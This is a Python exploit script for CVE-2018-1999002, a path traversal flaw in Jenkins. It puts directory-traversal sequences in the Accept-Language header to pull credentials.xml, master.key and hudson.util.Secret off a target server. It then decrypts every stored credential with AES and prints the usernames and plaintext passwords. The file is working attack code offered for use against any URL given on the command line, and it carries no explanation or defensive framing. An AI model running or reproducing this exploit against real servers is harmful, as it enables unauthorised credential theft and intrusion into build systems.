import requests
import sys
import os
import re
from Crypto.Cipher import AES
import base64
from hashlib import sha256

MAGIC = b"::::MAGIC::::"

def get_mes(host):
    users_sec=[]
    pwds_sec=[]
    url_pwd = host+'/plugin/jquery-detached/.xml'
    header_pwd = {'Accept-Language':'/../../../credentials'}
    url_hash = host+'/plugin/jquery-detached/.key'
    header_hash = {'Accept-Language':'/../../../secrets/master'}
    url_secret = host+'/plugin/jquery-detached/.Secret'
    header_secret = {'Accept-Language':'/../../../secrets/hudson.util'}
    content_secret = requests.get(url_secret,headers=header_secret,timeout=5).content
    try:
        content_pwd = requests.get(url_pwd,headers=header_pwd,timeout=5).content
        pat_content = r'<username>(.*?)</password>'
        pat_user = r'(.*?)</username>'
        pat_pwd = r'<password>(.*)'
        content_part = re.findall(pat_content,content_pwd.decode('utf-8'),re.S)
        for i in content_part:
            #print i
            i = i.replace('\n','')
            #print i
            users = re.findall(pat_user,i,re.S)
            pwds = re.findall(pat_pwd,i,re.S)
            users_sec.append(users[0])
            pwds_sec.append(pwds[0])
            print (users[0]+'  '+pwds[0])
        content_hash = requests.get(url_hash,headers=header_hash,timeout=5).content
        print ('\nThe hash is :\n'+content_hash.decode('utf-8')+'\n')
        return users_sec,pwds_sec,content_secret,content_hash
    except :
        pass

def decryptNewPassword(secret, p):
  p = p[1:]
  iv_length = ((p[0] & 0xff) << 24) | ((p[1] & 0xff) << 16) | ((p[2] & 0xff) << 8) | (p[3] & 0xff)
  p = p[4:]
  data_length = ((p[0] & 0xff) << 24) | ((p[1] & 0xff) << 16) | ((p[2] & 0xff) << 8) | (p[3] & 0xff)
  p = p[4:]
  iv = p[:iv_length]
  p = p[iv_length:]
  o = AES.new(secret, AES.MODE_CBC, iv)
  decrypted_p = o.decrypt(p)
  fully_decrypted_blocks = decrypted_p[:-16]
  possibly_padded_block = decrypted_p[-16:]
  padding_length = possibly_padded_block[-1]
  if padding_length < 16:
    possibly_padded_block = possibly_padded_block[:-padding_length]
  pw = fully_decrypted_blocks + possibly_padded_block
  pw = pw.decode('utf-8')
  return pw

def decryptOldPassword(secret, p):
  o = AES.new(secret, AES.MODE_ECB)
  x = o.decrypt(p)
  assert MAGIC in x
  return re.findall('(.*)::::MAGIC::::' , x.decode('utf-8'))[0]

if __name__=="__main__":
    if len(sys.argv) != 2:
        print ('usage:\n\tpython cve-2018-1999002.py [jenkins base url]')
        print ('exemple:\n\tpython cve-2018-1999002.py http://localhost:8080/')
        sys.exit(1)
    host = sys.argv[1]
    num = 0
    header_ini = {'Accept-Language':'/../../../../../../../../../windows/win'}
    url_ini = host+'/plugin/credentials/.ini'
    try:
        content_ini = requests.get(url_ini,headers=header_ini,timeout=5).content
        if b'for 16-bit app support' in content_ini:
            print (host+' is  Vulnerable\n')
            users,passwords,hudson_secret_key,master_key=get_mes(host)
            hashed_master_key = sha256(master_key).digest()[:16]
            o = AES.new(hashed_master_key, AES.MODE_ECB)
            secret = o.decrypt(hudson_secret_key)
            secret = secret[:-16]
            secret = secret[:16]
            for password in passwords:
                p = base64.decodestring(bytes(password, 'utf-8'))
                payload_version = p[0]
                if payload_version == 1:
                    print(users[num]+'   '+decryptNewPassword(secret, p))
                else:
                    print(users[num]+'   '+decryptOldPassword(secret,p))
                num+=1
        else:
            print (host+' is  not Vulnerable\n')
    except Exception as e:
        print (e)
        print ("Url connects error")






